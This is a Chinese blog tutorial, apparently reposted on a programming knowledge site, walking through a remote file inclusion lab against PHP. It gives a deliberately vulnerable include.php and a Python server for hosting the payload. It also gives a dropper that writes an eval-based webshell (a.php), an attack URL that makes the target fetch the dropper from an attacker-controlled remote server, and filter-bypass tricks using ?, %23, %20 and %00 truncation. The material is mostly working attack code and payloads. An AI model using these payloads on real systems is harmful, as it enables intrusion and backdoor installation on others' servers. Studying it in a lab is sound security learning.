IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 远程包含漏洞获取webshell小实验 -> 正文阅读

[PHP知识库]远程包含漏洞获取webshell小实验

远程包含漏洞获取webshell小实验

前言

? 最近刚刚买了个小小的云服务器(哥们也是有服务器的人啦),可以更舒服的进行测试了,测试场景也更加真实,过段时间搭建一个博客,到时候就两边都发文章了。

? ok,直接开始今天的远程包含漏洞(RFI)小实验

原理

? 远程包含漏洞往往都是用 http:// 伪协议完成,由于服务器的 php.ini 中开启了 allow_url_open = On 和 allow_url_include = On,并且在php后端代码中,有 include、require等包含函数,其中包含的文件我们可以控制,那么就会形成文件包含漏洞,这里主要讲文件包含漏洞中的远程包含漏洞(本地文件包含其实种类更多)

开始实验

靶机:我们要攻击的一台主机服务器(allow_url_open = On 和 allow_url_include = On,实验时修改 php.ini 即可)

中间攻击机:具有公网ip的主机

攻击机:本机

如上是实验环境,如果中间攻击机能直接连接靶机的话,其实也不需要攻击机(本机)

情况一:

后端对传入文件名不进行过滤,主机服务器后端代码基本上如下:

# 文件名为 include.php
<?php 
// 远程文件包含测试文件
$file = $_GET['file'];
include($file);
?>

如上,我们需要准备一台有公网ip的主机(一般都是远程主机,我这里是云服务器),在云服务器中开启 http 服务,并在服务器中设置木马下载文件,在 url 中让目标主机ip(靶机)访问我们这台云服务器(中间攻击机)的木马下载文件,即可将木马植入靶机中,然后再在攻击机中打开蚁剑连接靶机,即可getshell

# 开启HTTP服务的方法:
1、使用中间件进行开启,比如apache
service apache2 start 开始监听,不过这个要配置过,不是很会
2、直接用python代码搭建一个简易的客户端,如下:监听8000端口
# 纯复制的代码,全是内置库,不是很懂,到时候再学
from http.server import SimpleHTTPRequestHandler
from http.server import CGIHTTPRequestHandler
from http.server import ThreadingHTTPServer
from functools import partial
import os
import contextlib
import sys
import socket

class DualStackServer(ThreadingHTTPServer):
    def server_bind(self):
        # suppress exception when protocol is IPv4
        with contextlib.suppress(Exception):
            self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
        return super().server_bind()


def run(server_class=DualStackServer,
        handler_class=SimpleHTTPRequestHandler,
        port=8000,
        bind='0.0.0.0',
        cgi=False,
        directory=os.getcwd()):
    """Run an HTTP server on port 8000 (or the port argument).

    Args:
        server_class (_type_, optional): Class of server. Defaults to DualStackServer.
        handler_class (_type_, optional): Class of handler. Defaults to SimpleHTTPRequestHandler.
        port (int, optional): Specify alternate port. Defaults to 8000.
        bind (str, optional): Specify alternate bind address. Defaults to '127.0.0.1'.
        cgi (bool, optional): Run as CGI Server. Defaults to False.
        directory (_type_, optional): Specify alternative directory. Defaults to os.getcwd().
    """

    if cgi:
        handler_class = partial(CGIHTTPRequestHandler, directory=directory)
    else:
        handler_class = partial(SimpleHTTPRequestHandler, directory=directory)

    with server_class((bind, port), handler_class) as httpd:
        print(
            f"Serving HTTP on {bind} port {port} "
            f"(http://{bind}:{port}/) ..."
        )
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\nKeyboard interrupt received, exiting.")
            sys.exit(0)


if __name__ == '__main__':
    run(port=8000, bind='0.0.0.0')
    

# 如上,代码直接放进一个python文件中,然后再在同目录下创建文件,运行py文件后即可用url访问文件
# 安全性很差,单纯只是为了测试
# 在中间攻击机中的木马下载文件 shell.txt:
<?php
$a = "<?php @eval(\$_REQUEST['shell'])?>";
$b = fopen("a.php","w") or die("failed!");
fwrite($b,$a);
echo 'success.';
fclose($b);
?>
# 在攻击机中,我们在浏览器中去访问靶机,并使file包含中间攻击机的木马下载文件,payload如下:
http://主机ip/include.php?file=http://远程服务器/shell.txt

如上,shell.txt中的内容会被靶机的php服务器解析,并在 include.php 同目录下创建一个 a.php ,此时靶机中就安装了一个后门,直接用蚁剑连接即可。

情况二:

对后端进行了简单的过滤,代码变成了这样:

# 文件名为 include.php
<?php 
// 远程文件包含测试文件
$file = $_GET['file'];
include($file . ".html");
?>

这种情况的处理也异常简单,绕过即可

绕过方法

  1. ? 绕过

    http://主机ip/include.php?file=http://远程服务器/shell.txt?

  2. %23 绕过

    http://主机ip/include.php?file=http://远程服务器/shell.txt%23

  3. %20 绕过

  4. %00 绕过

不管是.html还是其他字符串,都可以用这种方法截断,然后下载木马,最终getshell

参考文章:

1、https://blog.csdn.net/qq_42951560/article/details/124218348?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166661817316782248584287%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=166661817316782248584287&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allbaidu_landing_v2~default-2-124218348-null-null.142

2、https://www.likecs.com/show-204958128.html

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 11:33:57  更:2022-10-31 11:35:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/20 1:27:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码